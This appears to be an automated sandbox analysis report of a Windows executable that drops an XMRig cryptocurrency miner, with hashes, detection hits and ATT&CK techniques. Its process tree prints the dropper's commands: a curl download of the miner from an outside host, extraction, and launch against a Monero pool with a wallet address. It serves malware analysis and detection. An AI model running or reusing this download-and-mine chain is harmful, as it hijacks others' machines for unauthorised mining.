xmrig | 4c911d7d2e043676fb0b4ff128bebd9206dae91049cbd1827c6edabded461baa

max time kernel
144s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
11/03/2024, 20:54

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General

Target

test - Copy (11).exe
Size

6KB
MD5

4634098fe194204dc03f967cc0b19cd6
SHA1

eaa58619c6cea9f148cec61ee504cd727b3e80d8
SHA256

a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
SHA512

64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
SSDEEP

96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score

10^/10

xmrig miner

Malware Config

Signatures

XMRig Miner payload 4 IoCs

miner

resource	yara_rule
behavioral2/files/0x0007000000023349-21.dat	family_xmrig
behavioral2/files/0x0007000000023349-21.dat	xmrig
behavioral2/memory/620-26-0x00007FF614190000-0x00007FF614C94000-memory.dmp	xmrig
behavioral2/memory/620-27-0x00007FF614190000-0x00007FF614C94000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation	test - Copy (11).exe

Executes dropped EXE 1 IoCs

pid	Process
620	xmrig.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	620	xmrig.exe
Token: SeLockMemoryPrivilege	620	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
620	xmrig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 232 wrote to memory of 4148	232	test - Copy (11).exe	92
PID 232 wrote to memory of 4148	232	test - Copy (11).exe	92
PID 4148 wrote to memory of 2332	4148	cmd.exe	94
PID 4148 wrote to memory of 2332	4148	cmd.exe	94
PID 4148 wrote to memory of 3236	4148	cmd.exe	108
PID 4148 wrote to memory of 3236	4148	cmd.exe	108
PID 4148 wrote to memory of 620	4148	cmd.exe	110
PID 4148 wrote to memory of 620	4148	cmd.exe	110

C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe
"C:\Users\Admin\AppData\Local\Temp\test - Copy (11).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CNdhSHPv.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\system32\curl.exe
    curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
    3⤵
    PID:2332
- - C:\Windows\system32\tar.exe
    tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
    3⤵
    PID:3236
- - C:\xmrig\xmrig-6.21.1\xmrig.exe
    C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CNdhSHPv.bat

Filesize
421B

MD5
67d11b392feb0ad59fc11ff3e79dfeee

SHA1
7df5785988cb76c4893773614572c93baaa18717

SHA256
69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

SHA512
50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

Download Submit
C:\xmrig\xmrig-6.21.1-gcc-win64.zip

Filesize
3.0MB

MD5
9f2e423f89e402dc27faa6452bd27dfe

SHA1
d2ef4cedd0fbd1ba1f0e0bdd84c3dd1789a5525a

SHA256
b091ce4972779c7d1cfdf8e722328d72fcb0d11e025916b8f0f919f0f5581d6c

SHA512
bdf46082c2aecb73fe65fc28a8a1eab73263542f072e6dbba976e57319179f8a94894021087dbbb8af0bb0ea3304f3e93b79bd80544e97800717d22d9ac36fa1

Download Submit
C:\xmrig\xmrig-6.21.1\xmrig.exe

Filesize
960KB

MD5
554f291c1baf62a11021301aaf03590c

SHA1
4ee7a8ffbdc3832f4883bda2b7da0e85f7721fb0

SHA256
95674cd45e1743c217200147a5351b71f34a811b6be4f16689ff5f3a9dad2911

SHA512
81bdfb581d3810a5b16d528bcbb85c13b4031da4655aa02e467ad2f1051fdc1ef1466cdd2f33f703c8986415c65014572ecfdc20aaac29c13f4a7218165ef2b2

Download Submit
memory/232-0-0x0000000000490000-0x0000000000498000-memory.dmp

Filesize
32KB

Download
memory/232-3-0x00007FFB677A0000-0x00007FFB68261000-memory.dmp

Filesize
10.8MB

Download
memory/232-7-0x00007FFB677A0000-0x00007FFB68261000-memory.dmp

Filesize
10.8MB

Download
memory/232-23-0x00007FFB677A0000-0x00007FFB68261000-memory.dmp

Filesize
10.8MB

Download
memory/620-25-0x000001CE42850000-0x000001CE42870000-memory.dmp

Filesize
128KB

Download
memory/620-24-0x000001CE42800000-0x000001CE42820000-memory.dmp

Filesize
128KB

Download
memory/620-26-0x00007FF614190000-0x00007FF614C94000-memory.dmp

Filesize
11.0MB

Download
memory/620-27-0x00007FF614190000-0x00007FF614C94000-memory.dmp

Filesize
11.0MB

Download
memory/620-28-0x000001CE42870000-0x000001CE42890000-memory.dmp

Filesize
128KB

Download
memory/620-29-0x000001CE42890000-0x000001CE428B0000-memory.dmp

Filesize
128KB

Download
memory/620-30-0x00007FF614190000-0x00007FF614C94000-memory.dmp

Filesize
11.0MB

Download
memory/620-32-0x00007FF614190000-0x00007FF614C94000-memory.dmp

Filesize
11.0MB

Download
memory/620-33-0x00007FF614190000-0x00007FF614C94000-memory.dmp

Filesize
11.0MB

Download

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Analysis